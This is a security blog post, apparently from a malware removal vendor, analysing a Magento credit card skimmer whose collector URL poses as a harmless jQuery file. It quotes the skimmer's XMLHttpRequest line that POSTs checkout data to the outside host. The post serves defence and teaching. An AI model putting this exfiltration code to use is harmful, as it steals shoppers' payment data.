Client-Side or Server-Side Script?

We’ve already described several times how credit card stealing malware hides a data collecting script behind an image URL. When people see URLs that end with .jpg, .png, or .gif they normally don’t expect them to do anything malicious. Third-party JavaScripts are much more suspicious, still it is possible to use them in a way to coax webmasters into considering them benign.

When checking yet another credit card stealing JavaScript injected into the /js/ccard.js file in Magento, we noticed this line:

e294b002686cad2df01bb59e3e2299f3e:'hxxps://informaer[.]net/js/info_jquery.js',

JS script in a malicious injection is always suspicious to us. Especially when it has the word jquery in it and some unknown domain (with a typo). When we opened that URL, the only content we found there was:

jQuery.noConflict();

NoConflict() is the function that tells jQuery library to restore the original value of the “$”, which allows you to use other JS libraries that use “$” as a function or variable name alongside with jQuery. The code is definitely benign.

But let’s check how this “informaer” URL is used by the script.

...var http=new XMLHttpRequest();http.open('POST',be20b6410993ea4c7a48767775856514b.e294b002686cad2df01bb59e3e2299f3e,true);http.setRequestHeader('Content-type','application/x-www-form-urlencoded');http.send('info='+keym+'&hostname='+domm+'&key='+be20b6410993ea4c7a48767775856514b.myid);

It turns out that the URL is actually not a static JavaScript file. It’s a server-side script that receives data from filled out checkout forms passed in the info parameter of a POST request. It’s actually the collector of the stolen data. However, if you don’t use the POST method and don’t pass correct parameters, it pretends to be a benign JavaScript. It even sets the Content-Type: application/javascript; charset=utf-8 header to make it look plausible.

Hackers may go an extra mile to make their resources look benign, but as a webmaster you should never rely on what code looks like. Instead, verify whether it belongs to your site or not by answering two questions: 1. Did I put it there? If no then 2. Is this code a part of the third-party software I installed? To answer the second question, compare it to the original third-party software (get it either directly from the developer or from your clean backup copy). If answers to both of these questions are NO then no matter how benign the code looks, most likely it was placed there as a result of the site compromise. Integrity control may help you easily identify such unauthorized code injections.

If malware detection and removal still sound too complex for you, Sucuri is here to help.